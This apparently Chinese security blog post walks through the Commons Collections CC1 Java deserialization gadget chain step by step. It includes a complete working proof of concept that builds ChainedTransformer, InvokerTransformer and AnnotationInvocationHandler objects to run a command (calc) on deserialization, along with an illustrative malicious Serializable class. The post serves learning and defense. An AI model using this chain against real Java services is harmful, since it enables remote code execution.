CC1链研究

CC1链流程分析

先明确一下目标:找到迷宫的出口点(恶意代码执行部分),迷宫的入口点(readobject)
先找一下迷宫的出口点
Pasted image 20250522105300
获得传入进来的input的类,获取这个类中的一个方法,通过method.invoke去反射执行这个方法。
因此,我们可以传入Runtime这个类,然后去调用他的exec方法去任意命令执行。
Pasted image 20250522111428
InvokerTransformer的构造方法需要传入三个参数,iMethodName,iParamTypes,iArgs:
iMethodName:恶意执行类的方法
iParamTypes : 方法的参数类型(如使用exec则是String类型)
iArgs :调用这个恶意方法时传入的参数
在InvokerTransformer类中的transform方法中需要传入一个参数,input:
input :恶意方法所在的类
具体的示范代码如下所示:

public class reflex {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Runtime runtime = Runtime.getRuntime();
        invokerTransformer.transform(runtime);
    }
}

ok,找到了迷宫的出口点。那么我们现在就该顺着调用关系去找迷宫的入口点了。
因为是transform的函数进行调用,因此我们可以去搜索transform方法的具体实现。选中transform函数,鼠标右键,查找用法,发现在valueTransformer中有调用这个方法。
Pasted image 20250525204313
如果我们最终要实现InvokerTransformer.transform那么我们就需要给valueTransformer进行实例化一个invokerTransformer的对象,那么我们就会有如下的问题:
1、valueTransformer的具体调用过程是怎么样的
2、checkSetValue的方法又是如何调用的
目前我们对于第一个问题有些许眉目,我们知道要赋什么值给他,我们可以先跟进第一个问题。按住Ctrl+鼠标左键,找到源头,去找当前TransformedMap类的构造函数。发现是一个工厂函数创建的,因此我们直接去创建这个类就好了。
Pasted image 20250525205024
这个类需要三个参数,其中第三个参数就是我们要实例化的invokerTransformer对象。剩下两个参数大概跟一下第一个map参数可以发现,继承于AbstractInputCheckedMapDecorator父类,而且这个参数是一定需要的不然会报错,第二个参数没有具体要求。我们可以更新一下payload

        Map<Object,Object>  map = new HashMap();
        map.put("key","value");
        Map<Object,Object> transformed = TransformedMap.decorate(map,null, invokerTransformer);

Pasted image 20250523130220
Pasted image 20250523130312
回到刚才的两个问题,我们现在需要找checkSetValue的方法的调用,同样的方法去查找其用法,发现只有AbstractInputCheckedMapDecorator类的内部类MapEntry有继承这个方法,但是还是没找到我们需要的readobject类,因此我们还需要继续去找调用。
Pasted image 20250602201746
再次进行查找用法,哎这不就出来了!有readobject类,同时还支持反序列化,这两个条件都满足了,完美的符合我们所需要!因此我们的调用链就可以先更新一下了
AnnotationInvocationHandler.readobject->memberValue.setValue->checkSetValue(valueTransformer.transform)->InvokerTransformer.transform->命令执行
Pasted image 20250602202905
调用链出来了,现在我们就需要考虑每个方法调用时传入的参数了
首先我们面临的第一大问题就是Runtime如何进行反序列化?
因为runtime没有继承反序列化的接口,如果直接反序列化会报错。
Pasted image 20250602203929
但是class类继承了反序列化接口,因此我们可以通过runtime的class类进行绕过
Pasted image 20250602204339

  Class aclass = Runtime.class;
  Method method = aclass.getDeclaredMethod("getRuntime", new Class[]{});
  Runtime runtime = (Runtime) method.invoke(null,null);
  runtime.exec("calc");

这个方法确实可以让我们序列化Runtime.class了,但是这个readobject里面没有反射调用的代码啊,所以我们得去找一个可执行的代码。哎这不是正巧了,之前的transform不是可以执行任意代码所以才导致会有代码执行的问题,那如果我们多次调用岂不是就可以直接代码执行了!

Class aclass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
                "getDeclaredMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}
        );
InvokerTransformer invokerTransformer2 = new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,null}
        );
InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
Method method = (Method) invokerTransformer1.transform(aclass);
Runtime runtime = (Runtime) invokerTransformer2.transform(method);
invokerTransformer.transform(runtime);

可以弹出计算器!但是如果这样的话我们又面临了一个新问题,按照之前的调用链,checkSetValue(valueTransformer.transform)我们只能执行一次transform,但现在需要调用多次,如果直接传参肯定是不行的,我们需要找一个能够重复调用transform方法的函数。而且我们观察一下传递的参数,发现每次传入的参数都是我们上一步执行的结果。
发现有一个ChainedTransformer类而且这个类还继承序列化。再去看这个类的传参,每次循环会将上次的输出结果当作输入进行循环,这简直是为我们量身定做啊!
Pasted image 20250602210801
现在后面transfrom的利用连调用完了,但是还有一个问题我们该如何传入第一个参数?
注意:
1、如果我们想直接传入runtime肯定是不行的,因为没有transform方法,没办法调用ChainedTransformer.transform。
2、Runtime.class只是获取Runtime的class对象并没有调用方法,所以向后面几种直接使用invokerTransformer.transform的方法执行也不行。
所以还需要去找到一个类,这个类必须满足:能够调用transform方法,而且输出的结果还是Runtime.class。
ConstantTransformer类:
Pasted image 20250602212914
这个类就完美符合了我们的预期,继承了序列化和transform的接口,在调用transform方法时会返回在构造函数创建类是传入的参数(注意这个返回的参数不是调用transform方法时传入的参数,而是在new对象时传入的参数,这个也很重要!)。
ok!到此为止我们终于搞定了Runtime没有继承序列化的问题!
回顾一下大致的思路:
ChainedTransformer.transform->ConstantTransformer.transform(获得Runtime.class)->ChainedTransformer.transform->InvokerTransformer.transform(获得getDeclaredMethod)->ChainedTransformer.transform->InvokerTransformer.transform(获得invoke)->ChainedTransformer.transform->InvokerTransformer.transform(获得exec)

Class aclass = Runtime.class;
Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getDeclaredMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}
        ),
		new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,null}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        )
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);  

现在我们就可以去创建有readobject类的对象了,即AnnotationInvocationHandler类,看眼构造函数。需要传两个参数,第一个参数传入的是Annotation(注解类),第二个是一个map的形式。
Pasted image 20250603124136
Annotation:
这个类就是我们平时常用的@Override、@Target,@RequestMapping等一系列的注解
那我们具体这两个参数要传入什么值呢?我们还是得看readobject方法中对这两个值是如何调用的才行。
Pasted image 20250603125147
首先我们先来看注解类的传参是啥,一下是和注解类传参有关联的代码

annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
if (memberType != null)
if (!(memberType.isInstance(value)

因为我们最后需要调用memeberValue.setValue方法,所以if判断全都需要满足。
大概解释下这段代码:
获得传入注解的元数据,获得注解的所有成员属性作为放到map中,键是成员对象的名字。查找这个map中是否包含value变量的值。
那我们的value值是从哪来的呢?是从memberValue中获取的,memberValue又是对memberValues进行遍历获取的,memberValues不就是我传入的第二个参数!也就是说我传入的map中要包含第一个注解类的成员对象才行。那我们就可以更新下我们的payload了。

map.put("value","value");
Map<Object,Object> transformdecorate=TransformedMap.decorate(map,null,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformdecorate);

问题点:
1、为什么这里需要反射调用AnnotationInvocationHandler不能直接new对象吗?
Pasted image 20250603132037
构造函数没有被修饰,默认为default类型,所以没法没办法通过名称来获取,只能通过反射获取。
2、为什么这里的注解类不用Override?
跟进一下会发现Override没有属性,需要更换一个有属性的Target中就有一个value属性
Pasted image 20250603132606
Pasted image 20250603132627
ok!现在两个传参的问题都解决了,但是又出现了一个新问题,按照我们之前的思路我们需要传入一个Runtime.class,但是这里的对象被写死了,没办法传入Runtime怎么办?
Pasted image 20250603134136
Pasted image 20250603134045
这时候就要用到我刚才说的小伏笔了,ConstantTransformer.transform返回的并不是传入的input参数而是构造函数时传入的参数
Pasted image 20250603134351
这样的话问题就迎刃而解了!下面给出完整的payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test2 {
    public static void main(String[] args) throws Exception {
    Class aclass = Runtime.class;
    Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getDeclaredMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{null,null}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        )
        };
	ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);   
    HashMap map = new HashMap();
    map.put("value","value");
    Map<Object,Object> transformdecorate =TransformedMap.decorate(map,null,chainedTransformer);
    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object obj = constructor.newInstance(Target.class, transformdecorate);
    serialize(obj);
    unserialize(obj);
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void unserialize(Object obj) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1"));
        ois.readObject();
        ois.close();
    }
}

一些细节上的补充

在调用setValue时我们会遇到两个问题:

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
}

1、value应该传入什么?
2、parent是什么?
由上面的过程我们知道value是没办法控制,但是可以通过ConstantTransformer.transform巧妙的绕过。但是第二个问题我们之前没有提到,parent是从哪里获取的?为什么我可以传入transformdecorate呢?
可以看到parent在MapEntry类的构造方法中传入的,查看一下发现有三个地方实现了它。

Pasted image 20250603153305

Pasted image 20250603153423

都跟进一下发现最终都是在entrySet类中创建的EntrySet对象,其中的this就是后面的parent。
Pasted image 20250603153527
如果需要调用entrySet的话就需要创建AbstractInputCheckedMapDecorator类,但是这个类是一个抽象类,所以如果我们要传入数据的话就必须创建出它的子类,去查看一下实现的子类
Pasted image 20250603153814
刚好有TransformedMap子类继承了AbstractInputCheckedMapDecorator类,所以我们才能够传进去transformdecorate类。

获得的一些经验

理解new Class[],new Object[]的意思

    InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},              //new Class[]指的是获得类中的方法,{}里面的参数是方法中的参数类型(String类型)
                new Object[]{"calc"}                    //new Object[]指的是传递的数据,{}里面是具体的数据
        );

遇到无法反序列化的类如何应对

如果有一些类无法序列化(例如Runtime类)可以通过class类可以反序列化,通过反射的机制去获得Runtime类,具体的流程如下:
1. 获取 Runtime 类的 Class 对象
Class<?> clazz = Runtime.class;
这里获取的是 Runtime 类的 Class 对象,而不是具体的 Runtime 实例。由于 Class 实现了 Serializable 接口,所以这个 Class 对象是可以被序列化的。
2. 使用反射调用 getRuntime() 方法
Method getRuntimeMethod = clazz.getDeclaredMethod("getRuntime", null);
通过反射获取 Runtime 类中的 getRuntime() 方法。这个方法是一个静态方法,不需要实例就可以调用。
3. 调用 getRuntime() 方法获取 Runtime 实例
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
调用 getRuntime() 方法并传入 null 作为参数(因为它是静态方法),从而得到一个 Runtime 实例。
注:攻击者不会直接反序列化runtime这个类,而是会反序列化Runtime.class这个类,然后通过readobject方法去实例化这个runtime
以下为错误示范

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
public class test2 {
    public static void main(String[] args) throws Exception {
      Class aclass = Runtime.class;
      Method method = aclass.getMethod("getRuntime",null);
      Runtime runtime = (Runtime) method.invoke(null,null);
      serialize(runtime.exec("cmd.exe /c calc"));
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1"));
        oos.writeObject(obj);
        oos.close();
    }
}

攻击者可能的操作

// 攻击者构造的恶意类(可序列化)
public class Exploit implements Serializable {
    
    // 组件1:无害的类引用(可序列化)
    private Class<?> runtimeClass = Runtime.class;
    
    // 组件2:要执行的命令(可序列化)
    private String command;
    
    public Exploit(String cmd) {
        this.command = cmd;
    }
    // 🔥 关键魔法:反序列化时自动执行
    private void readObject(ObjectInputStream ois) throws Exception {
        // 1. 先执行默认反序列化(还原 runtimeClass 和 command)
        ois.defaultReadObject();
        
        // 2. 开始攻击(使用反射获取 Runtime 实例)
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Runtime rt = (Runtime) getRuntime.invoke(null);
        
        // 3. 执行系统命令
        rt.exec(this.command);
    }
}

本质上攻击者只是序列化了Runtime.class而已不是去直接执行命令!

getDeclaredMethod和getMethod区别:

public Method getDeclaredMethod(String name, Class<?>... parameterTypes)
public Method getMethod(String name, Class<?>... parameterTypes)

主要区别

特性 getDeclaredMethod() getMethod()
访问范围 获取本类中所有声明的方法(包括私有、受保护、默认、公有) 只能获取本类中public 方法,包括从父类继承来的 public 方法
是否包含继承的方法 ❌ 不包含父类的方法 ✅ 包含父类的 public 方法
是否可以获取 private 方法 ✅ 可以获取 private 方法 ❌ 不可以获取 private 方法
是否需要调用 setAccessible(true) 是(如果是 private 方法) 否(只能获取 public 方法)
构造反序列化利用链(如 ysoserial 中) 多用 getDeclaredMethod() + setAccessible(true)

AnnotationType.getInstance是啥意思

从一个特定的 type 获取其关联的注解类型实例
例如:在本次cc1链的研究中需要传入进来一个memberTypes的参数,具体代码如下

annotationType = AnnotationType.getInstance(type);
//获取一个注解类型的描述对象,其中type表示的就是某个具体的注解类
//getInstance(type) 返回的是该注解类型的信息,包括它的所有成员(属性)、默认值、成员类型等
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取注解的所有成员变量
Class<?> memberType = memberTypes.get(name);

注意两个类

ChainedTransformer类

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer类中的transform方法。在这个类中会循环调用传入进去iTransformers数组元素的transform方法,并且每次会将上次执行的结果做为下次的object重新传入transform中。
此函数的优势:相当于我只需要调用一次transform方法,但是可以执行很多类的transform方法。
此函数的劣势:每次传入的object参数必须得是上次执行的结果

ConstantTransformer 类

构造方法:

  public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

transform方法:

 public Object transform(Object input) {
        return iConstant;
    }

这个类在使用transform方法时会返回一个类的字符串形式,相当于调用了toString方法

为什么memberValue.setValue都写死了还是能够运行Runtime

Pasted image 20250602013554
我们知道我们传入的第一个类是ConstantTransformer,但是这个类中的transform方法和你具体传入的参数没有关系,只会返回构造函数时传入的方法,而我们构造函数代码是:
new ConstantTransformer(Runtime.class)
Pasted image 20250602013736

链的构造思路

整体构造链思路:
AnnotationInvocationHandler.readobject->memberValue.setValue->checkSetValue(valueTransformer.transform)->InvokerTransformer.transform->命令执行
细节构造链:
readobject->验证是否为注解类且是否为对于的值->memberValue.setValue->checkSetValue(调用一个transform方法)->ChainedTransformer.transform(调用数组中各个类的transform方法)->ConstantTransformer.transform(返回调用构造函数时传入的值,即Runtime类的字符串)->ChainedTransformer.transform->InvokerTransformer.transform(获得getDeclaredMethod)->ChainedTransformer.transform->InvokerTransformer.transform(获得invoke)->ChainedTransformer.transform->InvokerTransformer.transform(获得exec)->命令执行
后面的重复构造绕过runtime无法反序列的限制

参考文献:

CC1链——全网最菜的分析思路:[[https://www.freebuf.com/articles/web/410767.html]]

JAVA安全初探(三):CC1链全分析:[[https://xz.aliyun.com/news/12115]]

posted @ 2025-06-03 20:17  清水的秋  阅读(31)  评论(0)    收藏  举报